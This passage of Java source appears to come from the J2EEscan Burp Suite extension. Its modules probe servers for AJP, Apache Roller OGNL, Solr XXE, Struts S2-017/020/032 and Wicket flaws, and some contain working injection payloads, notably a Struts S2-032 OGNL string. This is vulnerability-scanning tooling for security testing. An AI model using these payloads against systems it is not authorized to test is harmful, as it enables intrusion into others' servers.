10 | import burp.j2ee.Confidence;
11 | import burp.j2ee.CustomScanIssue;
12 | import burp.j2ee.Risk;
13 | import burp.j2ee.annotation.RunOnlyOnce;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.io.DataInputStream;
17 | import java.io.DataOutputStream;
18 | import java.io.IOException;
19 | import java.io.PrintWriter;
20 | import java.net.InetSocketAddress;
21 | import java.net.MalformedURLException;
22 | import java.net.Socket;
23 | import java.net.URL;
24 | import java.util.ArrayList;
25 | import java.util.LinkedHashSet;
26 | import java.util.List;
27 |
28 | /**
29 | * This module detects Apache JServ Protocol (AJP) services
30 | */
31 | public class AJPDetector implements IModule {
32 |
33 | private static final String TITLE = "Apache JServ Protocol (AJP) detected";
34 | private static final String DESCRIPTION = "J2EEscan has identified a service using the Apache JServ Protocol (AJP), exposed via TCP port ";
35 | private static final String REMEDY = "This issue does not constitute a security issue by itself. However, a misconfigured"
36 | + " AJP proxy may allow unauthorized access to internal resources. Disable AJP, if not used.";
37 |
38 | // List of host and port system already tested
39 | private static LinkedHashSet hs = new LinkedHashSet();
40 | private PrintWriter stderr;
41 | private static final int[] AJP13PORTS = {8080, 8102, 8081, 6800, 6802, 8009, 8109, 8209, 8309, 8888, 9999};
42 |
43 | @RunOnlyOnce
44 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
45 |
46 | List issues = new ArrayList<>();
47 |
48 | IExtensionHelpers helpers = callbacks.getHelpers();
49 | stderr = new PrintWriter(callbacks.getStderr(), true);
50 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
51 |
52 | URL url = reqInfo.getUrl();
53 | String host = url.getHost();
54 |
55 | for (int port : AJP13PORTS) {
56 | String system = host.concat(Integer.toString(port));
57 |
58 | // System not yet tested for this vulnerability
59 | if (!hs.contains(system)) {
60 |
61 | hs.add(system);
62 |
63 | //Send a CPing using a raw TCP socket
64 | byte[] CPing = new byte[]{
65 | (byte) 0x12, (byte) 0x34, (byte) 0x00, (byte) 0x01, (byte) 0x0a};
66 |
67 | //Retrieve CPong
68 | byte[] CPong = null;
69 | try {
70 | CPong = sendData(host, port, CPing);
71 | } catch (IOException ex) {
72 | stderr.println("[!] AJPDetector Socket error: " + host + ":" + port);
73 | }
74 |
75 | if (CPong != null && getHex(CPong).equalsIgnoreCase("414200010900000000")) {
76 | try {
77 | //AJP detected
78 | issues.add(new CustomScanIssue(
79 | baseRequestResponse.getHttpService(),
80 | new URL(url.getProtocol(), url.getHost(), port, "AJP_TCP_" + port),
81 | new CustomHttpRequestResponse(CPing, CPong, baseRequestResponse.getHttpService()),
82 | TITLE,
83 | DESCRIPTION+"" + port + " ",
84 | REMEDY,
85 | Risk.Information,
86 | Confidence.Certain
87 | ));
88 | } catch (MalformedURLException ex) {
89 | stderr.println("[!] MalformedURLException error...\n" + ex.getMessage());
90 | }
91 | }
92 | }
93 | }
94 | return issues;
95 | }
96 |
97 | private static byte[] sendData(String ip, int port, byte[] data) throws IOException {
98 |
99 | byte[] reply = new byte[9];
100 |
101 | Socket socket = new Socket();
102 | socket.connect(new InetSocketAddress(ip, port), 2000);
103 | DataOutputStream os = new DataOutputStream(socket.getOutputStream());
104 | DataInputStream is = new DataInputStream(socket.getInputStream());
105 | os.write(data);
106 | os.flush();
107 | is.read(reply);
108 | socket.close();
109 |
110 | return reply;
111 | }
112 |
113 | private static String getHex(byte[] raw) {
114 |
115 | final String HEXES = "0123456789ABCDEF";
116 | if (raw == null) {
117 | return null;
118 | }
119 | final StringBuilder hex = new StringBuilder(2 * raw.length);
120 | for (final byte b : raw) {
121 | hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F)));
122 | }
123 | return hex.toString();
124 | }
125 | }
126 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheRollerOGNLInjection.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.getMatches;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IParameter;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.annotation.RunOnlyOnce;
15 | import burp.j2ee.issues.IModule;
16 |
17 | import java.net.URL;
18 | import java.util.ArrayList;
19 | import java.util.List;
20 | import java.util.Random;
21 |
22 | /**
23 | * Apache Roller OGNL Injection
24 | *
25 | * References:
26 | * http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html
27 | *
28 | *
29 | */
30 | public class ApacheRollerOGNLInjection implements IModule {
31 |
32 | private static final String TITLE = "Apache Roller OGNL Injection";
33 | private static final String DESCRIPTION = "J2EEscan identified an OGNL "
34 | + "Injection vulnerability. Apache Roller is a full-featured, multi-user "
35 | + "and group-blog server suitable for blog sites large and small. "
36 | + "It runs as a Java web application that should be able to run on most "
37 | + "any Java EE server and relational database. "
38 | + "The remote Apache Roller version allows a remote attacker to execute commands on the remote"
39 | + " system via a OGNL (Object-Graph Navigation Language) expressions. ";
40 |
41 | private static final String REMEDY = "Update the remote vulnerable library. "
42 | + "References : "
43 | + "http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html "
44 | + "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-4212 "
45 | + "https://www.exploit-db.com/exploits/29859/ ";
46 |
47 |
48 | @RunOnlyOnce
49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
50 |
51 |
52 | // Execute a basic algorithm operation to detect OGNL code execution
53 | int MAX_RANDOM_INT = 500;
54 | Random rand = new Random();
55 | int firstInt = rand.nextInt(MAX_RANDOM_INT);
56 | int secondInt = rand.nextInt(MAX_RANDOM_INT);
57 | String multiplication = Integer.toString(firstInt * secondInt);
58 |
59 | String EL_INJECTION_TEST = String.format("${%d*%d}", firstInt, secondInt);
60 | byte[] GREP_STRING = multiplication.getBytes();
61 |
62 | IExtensionHelpers helpers = callbacks.getHelpers();
63 | List issues = new ArrayList<>();
64 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
65 | URL curURL = reqInfo.getUrl();
66 |
67 |
68 | // Specific test for Apache Roller OGNL RCE CVE-2013-4212.
69 | if (curURL.getPath().contains("login.rol")) {
70 | byte[] rawrequest = baseRequestResponse.getRequest();
71 | List parameters = reqInfo.getParameters();
72 |
73 | //Remove URI parameters
74 | for (IParameter param : parameters) {
75 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
76 | }
77 |
78 | rawrequest = callbacks.getHelpers().addParameter(rawrequest,
79 | callbacks.getHelpers().buildParameter("pageTitle", EL_INJECTION_TEST, IParameter.PARAM_URL)
80 | );
81 |
82 | // make a request containing our injection test in the insertion point
83 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
84 | baseRequestResponse.getHttpService(), rawrequest);
85 |
86 | byte[] response = checkRequestResponse.getResponse();
87 | List matches = getMatches(response, GREP_STRING, helpers);
88 |
89 |
90 | if (matches.size() > 0) {
91 |
92 | String rceDetails = String.format(" The following algorithm operation has been "
93 | + "executed on the remote system: %d * %d = %s ", firstInt, secondInt, multiplication);
94 |
95 | issues.add(new CustomScanIssue(
96 | baseRequestResponse.getHttpService(),
97 | reqInfo.getUrl(),
98 | checkRequestResponse,
99 | TITLE,
100 | DESCRIPTION + rceDetails,
101 | REMEDY,
102 | Risk.High,
103 | Confidence.Tentative
104 | ));
105 | }
106 |
107 | }
108 |
109 | return issues;
110 |
111 | }
112 | }
113 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheSolrXXE.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IHttpRequestResponse;
6 | import burp.IScanIssue;
7 | import burp.IScannerInsertionPoint;
8 | import burp.IBurpCollaboratorClientContext;
9 | import burp.IBurpCollaboratorInteraction;
10 |
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.util.ArrayList;
17 | import java.util.List;
18 |
19 | /**
20 | * Several critical vulnerabilities discovered in Apache Solr (XXE & RCE)
21 | *
22 | * References:
23 | * - http://lucene.472066.n3.nabble.com/user/SendEmail.jtp?type=node&node=4358308&i=0
24 | * - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629
25 | *
26 | */
27 | public class ApacheSolrXXE implements IModule {
28 |
29 | private static final String TITLE = "Apache Solr XXE - RCE";
30 | private static final String DESCRIPTION = "J2EEscan detect a XML External Entities Injection vulnerability. "
31 | + "The XML parsing library supports the use of custom entity references "
32 | + "in the XML document; custom entities "
33 | + "can be defined by including a user defined DOCTYPE that "
34 | + "reference an external resource to be included. "
35 | + "This option could be abused to carry on XXE attacks, leading "
36 | + "to DoS conditions, "
37 | + "local file include, internal LAN scanning and SSRF attacks. "
38 | + " "
39 | + "References : "
40 | + "http://lucene.472066.n3.nabble.com/user/SendEmail.jtp?type=node&node=4358308&i=0 "
41 | + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12629 "
42 | + "https://www.exploit-db.com/exploits/43009/";
43 |
44 | private static final String REMEDY = "It's reccomended to apply the security patch provided by the mantainer: "
45 | + "https://issues.apache.org/jira/browse/SOLR-11482 "
46 | + "https://issues.apache.org/jira/browse/SOLR-11477 "
47 | + "https://wiki.apache.org/solr/SolrSecurity";
48 |
49 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
50 |
51 | IExtensionHelpers helpers = callbacks.getHelpers();
52 | List issues = new ArrayList<>();
53 |
54 | String xxesolr = "{!xmlparser v=' '}";
55 |
56 | // Collaborator context
57 | IBurpCollaboratorClientContext collaboratorContext = callbacks.createBurpCollaboratorClientContext();
58 | String currentCollaboratorPayload = collaboratorContext.generatePayload(true);
59 |
60 | String xxePayload = String.format(xxesolr, currentCollaboratorPayload);
61 |
62 | byte[] checkRequest = insertionPoint.buildRequest(xxePayload.getBytes());
63 |
64 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
65 | baseRequestResponse.getHttpService(), checkRequest);
66 |
67 | // Poll Burp Collaborator for remote interaction
68 | List collaboratorInteractions = collaboratorContext.fetchCollaboratorInteractionsFor(currentCollaboratorPayload);
69 |
70 | if (!collaboratorInteractions.isEmpty()) {
71 | issues.add(new CustomScanIssue(
72 | baseRequestResponse.getHttpService(),
73 | helpers.analyzeRequest(baseRequestResponse).getUrl(),
74 | checkRequestResponse,
75 | TITLE,
76 | DESCRIPTION,
77 | REMEDY,
78 | Risk.High,
79 | Confidence.Certain));
80 |
81 | return issues;
82 | }
83 |
84 | return issues;
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2017.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IParameter;
8 | import burp.IRequestInfo;
9 | import burp.IResponseInfo;
10 | import burp.IScanIssue;
11 | import burp.IScannerInsertionPoint;
12 | import burp.j2ee.Confidence;
13 | import burp.j2ee.CustomScanIssue;
14 | import burp.j2ee.Risk;
15 | import burp.j2ee.issues.IModule;
16 |
17 | import java.io.PrintWriter;
18 | import java.io.UnsupportedEncodingException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.List;
22 |
23 | public class ApacheStrutsS2017 implements IModule {
24 |
25 | private static final String TITLE = "Apache Struts S2-017 Injection - Arbitrary Redirect";
26 | private static final String DESCRIPTION = "J2EEscan identified an Arbitrary Redirect vulnerability;"
27 | + "the Struts 2 DefaultActionMapper supports a "
28 | + "method for short-circuit navigation state changes by prefixing "
29 | + "parameters with action: or redirect: , "
30 | + "followed by a desired navigational target expression. "
31 | + "This mechanism was intended to help with attaching navigational "
32 | + "information to buttons within forms. "
33 | + "In Struts 2 before 2.3.15.1 the information following action: , redirect: "
34 | + "or redirectAction: is not properly sanitized. "
35 | + " Since said information will be evaluated as OGNL expression"
36 | + " against the value stack, this introduces the possibility to inject "
37 | + "server side code. "
38 | + "References : "
39 | + "http://struts.apache.org/release/2.3.x/docs/s2-017.html "
40 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2248";
41 | private static final String REMEDY = "Update the remote Struts vulnerable library";
42 |
43 | private PrintWriter stderr;
44 |
45 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
46 |
47 | IExtensionHelpers helpers = callbacks.getHelpers();
48 | stderr = new PrintWriter(callbacks.getStderr(), true);
49 |
50 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
51 | URL curURL = reqInfo.getUrl();
52 |
53 | byte[] modifiedRawRequest = null;
54 | List issues = new ArrayList<>();
55 |
56 | if (!isJavaApplicationByURL(curURL)) {
57 | return issues;
58 | }
59 |
60 | List redirectMeth = new ArrayList();
61 | redirectMeth.add("redirect:");
62 | redirectMeth.add("redirectAction:");
63 |
64 | for (String redir : redirectMeth) {
65 |
66 | try {
67 | byte[] rawrequest = baseRequestResponse.getRequest();
68 | List parameters = reqInfo.getParameters();
69 |
70 | //Remove URI parameters
71 | for (IParameter param : parameters) {
72 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
73 | }
74 |
75 | rawrequest = callbacks.getHelpers().addParameter(rawrequest,
76 | callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
77 | );
78 |
79 | //TODO Fix me hack
80 | String utf8rawRequest = new String(rawrequest, "UTF-8");
81 | modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
82 |
83 | // make a request containing our injection test in the insertion point
84 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
85 | baseRequestResponse.getHttpService(), modifiedRawRequest);
86 |
87 | IResponseInfo modifiedResponseInfo = callbacks.getHelpers().analyzeResponse(checkRequestResponse.getResponse());
88 |
89 | int statusCode = modifiedResponseInfo.getStatusCode();
90 |
91 | if (statusCode >= 300 && statusCode < 400) {
92 | for (String header : modifiedResponseInfo.getHeaders()) {
93 | if (header.toLowerCase().startsWith("location")) {
94 |
95 | }
96 | if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {
97 |
98 | issues.add(new CustomScanIssue(
99 | baseRequestResponse.getHttpService(),
100 | reqInfo.getUrl(),
101 | checkRequestResponse,
102 | TITLE,
103 | DESCRIPTION,
104 | REMEDY,
105 | Risk.High,
106 | Confidence.Certain));
107 | }
108 |
109 | }
110 | }
111 | } catch (UnsupportedEncodingException ex) {
112 | stderr.println(ex);
113 | }
114 | }
115 |
116 | return issues;
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2020.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IParameter;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 |
16 | import java.net.URL;
17 | import java.util.ArrayList;
18 | import java.util.List;
19 | import java.util.regex.Matcher;
20 | import java.util.regex.Pattern;
21 |
22 | public class ApacheStrutsS2020 implements IModule {
23 |
24 | private static final String TITLE = "Apache Struts S2-020 ClassLoader Manipulation";
25 | private static final String DESCRIPTION = "J2EEscan identified a ClassLoader Manipulation;"
26 | + "Apache Struts 2 ParametersInterceptor allows "
27 | + "access to 'class ' parameter which is directly mapped to getClass() "
28 | + " method and allows ClassLoader manipulation. "
29 | + "A remote user could be able to manipulate the servlet container's classloader to execute"
30 | + "arbitrary commands on the remote system. "
31 | + "References : "
32 | + "http://struts.apache.org/release/2.3.x/docs/s2-020.html "
33 | + "http://struts.apache.org/release/2.3.x/docs/s2-021.html "
34 | + "http://struts.apache.org/release/2.3.x/docs/version-notes-23161.html "
35 | + "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0094 "
36 | + "http://drops.wooyun.org/papers/1377 "
37 | + "http://sec.baidu.com/index.php?research/detail/id/18 "
38 | + "http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/ ";
39 | private static final String REMEDY = "Update the remote Struts vulnerable library";
40 |
41 | // Check for specific patterns on response page
42 | private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",
43 | Pattern.DOTALL | Pattern.MULTILINE);
44 |
45 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
46 |
47 | IExtensionHelpers helpers = callbacks.getHelpers();
48 |
49 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
50 | List parameters = reqInfo.getParameters();
51 |
52 | URL curURL = reqInfo.getUrl();
53 |
54 | byte[] modifiedRawRequest = null;
55 | List issues = new ArrayList<>();
56 |
57 | if (!isJavaApplicationByURL(curURL)) {
58 | return issues;
59 | }
60 |
61 | byte[] rawrequest = baseRequestResponse.getRequest();
62 | //Remove URI parameters
63 | for (IParameter param : parameters) {
64 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
65 | }
66 |
67 | // Dynamic random string for URL classloader
68 | long unixTime = System.currentTimeMillis() / 1000L;
69 | String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
70 |
71 | /**
72 | * Make a request containing our injection test in the insertion point
73 | *
74 | * Original fix for this vulnerability was to to forbid the
75 | * (.*\.|^)class\..* regex
76 | * https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be
77 | *
78 | * It was possible to bypass this "protection" using "Class.classloader"
79 | * (capital 'C').
80 | *
81 | * This payload covers also Apache Struts S2-021 advisory, caused by a
82 | * wrong patch attempt.
83 | */
84 | modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
85 | callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
86 | classLoaderStringTest, IParameter.PARAM_URL)
87 | );
88 |
89 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
90 | baseRequestResponse.getHttpService(), modifiedRawRequest);
91 |
92 | // Get the response body
93 | byte[] responseBytes = checkRequestResponse.getResponse();
94 | String response = helpers.bytesToString(responseBytes);
95 |
96 | Matcher matcher = CLASSLOADER_PM.matcher(response);
97 |
98 | if (matcher.find()) {
99 | issues.add(new CustomScanIssue(
100 | baseRequestResponse.getHttpService(),
101 | reqInfo.getUrl(),
102 | checkRequestResponse,
103 | TITLE,
104 | DESCRIPTION,
105 | REMEDY,
106 | Risk.High,
107 | Confidence.Certain
108 | ));
109 | }
110 |
111 | return issues;
112 | }
113 | }
114 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheStrutsS2032.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.isJavaApplicationByURL;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IParameter;
8 | import burp.IRequestInfo;
9 | import burp.IScanIssue;
10 | import burp.IScannerInsertionPoint;
11 | import burp.j2ee.Confidence;
12 | import burp.j2ee.CustomScanIssue;
13 | import burp.j2ee.Risk;
14 | import burp.j2ee.issues.IModule;
15 | import java.io.PrintWriter;
16 | import java.io.UnsupportedEncodingException;
17 | import java.net.URL;
18 | import java.util.ArrayList;
19 | import java.util.List;
20 | import java.util.regex.Matcher;
21 | import java.util.regex.Pattern;
22 |
23 | /**
24 | * Apache Struts S2-032 Remote Command Execution
25 | *
26 | * https://struts.apache.org/docs/s2-032.html
27 | *
28 | */
29 | public class ApacheStrutsS2032 implements IModule {
30 |
31 | private static final String TITLE = "Apache Struts S2-032 Remote Command Execution";
32 | private static final String DESCRIPTION = "J2EEscan identified a Remote Code Execution "
33 | + "via method: prefix because Dynamic Method Invocation is enabled."
34 | + "A remote user could be able to manipulate the servlet container's classloader to execute"
35 | + "arbitrary commands on the remote system. "
36 | + "References : "
37 | + "https://struts.apache.org/docs/s2-032.html "
38 | + "http://seclab.dbappsecurity.com.cn/?p=924 "
39 | + "http://d.hatena.ne.jp/Kango/20160427/1461771099 "
40 | + "http://pan.baidu.com/s/1skTs9Md "
41 | + "MSF: metasploit-framework/modules/exploits/linux/http/struts_dmi_exec.rb";
42 | private static final String REMEDY = "Update the remote Struts vulnerable library";
43 |
44 | // Check for specific patterns on response page
45 | private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
46 | Pattern.DOTALL | Pattern.MULTILINE);
47 |
48 | private PrintWriter stderr;
49 |
50 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
51 |
52 | IExtensionHelpers helpers = callbacks.getHelpers();
53 | stderr = new PrintWriter(callbacks.getStderr(), true);
54 |
55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
56 | List parameters = reqInfo.getParameters();
57 |
58 | URL curURL = reqInfo.getUrl();
59 |
60 | byte[] modifiedRawRequest = null;
61 | List issues = new ArrayList<>();
62 |
63 | if (!isJavaApplicationByURL(curURL)) {
64 | return issues;
65 | }
66 |
67 | byte[] rawrequest = baseRequestResponse.getRequest();
68 | //Remove URI parameters
69 | for (IParameter param : parameters) {
70 | rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
71 | }
72 |
73 | rawrequest = callbacks.getHelpers().addParameter(rawrequest,
74 | callbacks.getHelpers().buildParameter("method:", "%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString", IParameter.PARAM_URL)
75 | );
76 |
77 | String utf8rawRequest;
78 | try {
79 |
80 | //TODO Fix me hack
81 | utf8rawRequest = new String(rawrequest, "UTF-8");
82 | modifiedRawRequest = utf8rawRequest.replaceFirst("=", "").getBytes();
83 |
84 | modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
85 | callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
86 | );
87 |
88 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
89 | baseRequestResponse.getHttpService(), modifiedRawRequest);
90 |
91 | // Get the response body
92 | byte[] responseBytes = checkRequestResponse.getResponse();
93 | String response = helpers.bytesToString(responseBytes);
94 |
95 | Matcher matcher = DYNAMIC_METHOD_INVOCATION.matcher(response);
96 |
97 | if (matcher.find()) {
98 | issues.add(new CustomScanIssue(
99 | baseRequestResponse.getHttpService(),
100 | reqInfo.getUrl(),
101 | checkRequestResponse,
102 | TITLE,
103 | DESCRIPTION,
104 | REMEDY,
105 | Risk.High,
106 | Confidence.Certain
107 | ));
108 | }
109 |
110 | } catch (UnsupportedEncodingException ex) {
111 | stderr.println(ex);
112 | }
113 |
114 | return issues;
115 | }
116 | }
117 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheStrutsShowcase.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.URIMutator;
4 | import static burp.HTTPMatcher.getApplicationContext;
5 | import static burp.HTTPMatcher.getMatches;
6 | import burp.IBurpExtenderCallbacks;
7 | import burp.IExtensionHelpers;
8 | import burp.IHttpRequestResponse;
9 | import burp.IRequestInfo;
10 | import burp.IResponseInfo;
11 | import burp.IScanIssue;
12 | import burp.IScannerInsertionPoint;
13 | import burp.j2ee.Confidence;
14 | import burp.j2ee.CustomScanIssue;
15 | import burp.j2ee.Risk;
16 | import burp.j2ee.issues.IModule;
17 | import java.io.PrintWriter;
18 | import java.net.MalformedURLException;
19 | import java.net.URL;
20 | import java.util.ArrayList;
21 | import java.util.Arrays;
22 | import java.util.LinkedHashSet;
23 | import java.util.List;
24 |
25 | public class ApacheStrutsShowcase implements IModule {
26 |
27 | private static final String TITLE = "Apache Struts - ShowCase Application";
28 | private static final String DESCRIPTION = "J2EEscan identified the Apache Struts ShowCase application. "
29 | + "Based on the installed version, the application could be vulnerable to different kind of issues"
30 | + " such as XSS, RCE via OGNL injection, etc. "
31 | + "References: "
32 | + "https://bugzilla.redhat.com/show_bug.cgi?id=967655 "
33 | + "http://struts.apache.org/docs/s2-012.html";
34 |
35 | private static final String REMEDY = "Remove all unused applications from production environment";
36 |
37 | private static final byte[] GREP_STRING = "Struts2 Showcase ".getBytes();
38 | private static final List STRUTS_SHOWCASE_PATHS = Arrays.asList(
39 | "/struts2-showcase/showcase.action"
40 | );
41 |
42 | // List of host and port system already tested
43 | private static LinkedHashSet hs = new LinkedHashSet();
44 |
45 | private PrintWriter stderr;
46 |
47 | @Override
48 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
49 |
50 | IExtensionHelpers helpers = callbacks.getHelpers();
51 | stderr = new PrintWriter(callbacks.getStderr(), true);
52 |
53 | List issues = new ArrayList<>();
54 |
55 | IRequestInfo reqInfo = callbacks.getHelpers().analyzeRequest(baseRequestResponse);
56 |
57 | URL url = reqInfo.getUrl();
58 | String host = url.getHost();
59 | int port = url.getPort();
60 | String protocol = url.getProtocol();
61 |
62 | String system = host.concat(Integer.toString(port));
63 |
64 | // System not yet tested for this vulnerability
65 | if (!hs.contains(system)) {
66 |
67 | hs.add(system);
68 |
69 | for (String SHOWCASE_PATH : STRUTS_SHOWCASE_PATHS) {
70 |
71 | try {
72 | URL urlToTest = new URL(protocol, url.getHost(), url.getPort(), SHOWCASE_PATH);
73 | byte[] showcaseRequest = helpers.buildHttpRequest(urlToTest);
74 |
75 | // make a request containing our injection test in the insertion point
76 | IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), showcaseRequest);
77 |
78 | byte[] response = checkRequestResponse.getResponse();
79 | IResponseInfo responseInfo = helpers.analyzeResponse(response);
80 |
81 | if (responseInfo.getStatusCode() == 200) {
82 | // look for matches of our active check grep string
83 | List matches = getMatches(response, GREP_STRING, helpers);
84 |
85 | if (matches.size() > 0) {
86 |
87 | issues.add(new CustomScanIssue(
88 | baseRequestResponse.getHttpService(),
89 | reqInfo.getUrl(),
90 | checkRequestResponse,
91 | TITLE,
92 | DESCRIPTION,
93 | REMEDY,
94 | Risk.Low,
95 | Confidence.Certain
96 | ));
97 | }
98 | }
99 | } catch (MalformedURLException ex) {
100 | stderr.println("Error creating URL " + ex.getMessage());
101 | }
102 | }
103 | }
104 |
105 | return issues;
106 | }
107 | }
108 |
--------------------------------------------------------------------------------
/src/main/java/burp/j2ee/issues/impl/ApacheWicketArbitraryResourceAccess.java:
--------------------------------------------------------------------------------
1 | package burp.j2ee.issues.impl;
2 |
3 | import static burp.HTTPMatcher.getMatches;
4 | import burp.IBurpExtenderCallbacks;
5 | import burp.IExtensionHelpers;
6 | import burp.IHttpRequestResponse;
7 | import burp.IRequestInfo;
8 | import burp.IScanIssue;
9 | import burp.IScannerInsertionPoint;
10 | import burp.j2ee.Confidence;
11 | import burp.j2ee.CustomScanIssue;
12 | import burp.j2ee.Risk;
13 | import burp.j2ee.issues.IModule;
14 | import java.io.PrintWriter;
15 | import java.net.URL;
16 | import java.util.ArrayList;
17 | import java.util.Arrays;
18 |
19 | import java.util.List;
20 |
21 | public class ApacheWicketArbitraryResourceAccess implements IModule {
22 |
23 | private static final String TITLE = "Apache Wicket - Arbitrary Resource Access";
24 | private static final String DESCRIPTION = "J2EEScan identified a vulnerable Apache Wicket library; "
25 | + "it's possible to access remotely to arbitrary resources in"
26 | + " the classpath of the wicket application using the int scope "
27 | + "References : "
28 | + "https://issues.apache.org/jira/browse/WICKET-4427 "
29 | + "https://issues.apache.org/jira/browse/WICKET-4430";
30 |
31 | private static final String REMEDY = "Update the remote Apache Wicket vulnerable library";
32 |
33 | private static final byte[] GREP_STRING = "initializer=".getBytes();
34 | private static final List PAYLOADS = Arrays.asList(
35 | "wicket/resource/int/wicket.properties,/bla/ HTTP",
36 | "wicket/resources/int/wicket.properties,/bla/ HTTP"
37 | );
38 |
39 | private PrintWriter stderr;
40 |
41 | @Override
42 | public List scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
43 |
44 | IExtensionHelpers helpers = callbacks.getHelpers();
45 | List issues = new ArrayList<>();
46 |
47 | stderr = new PrintWriter(callbacks.getStderr(), true);
48 |
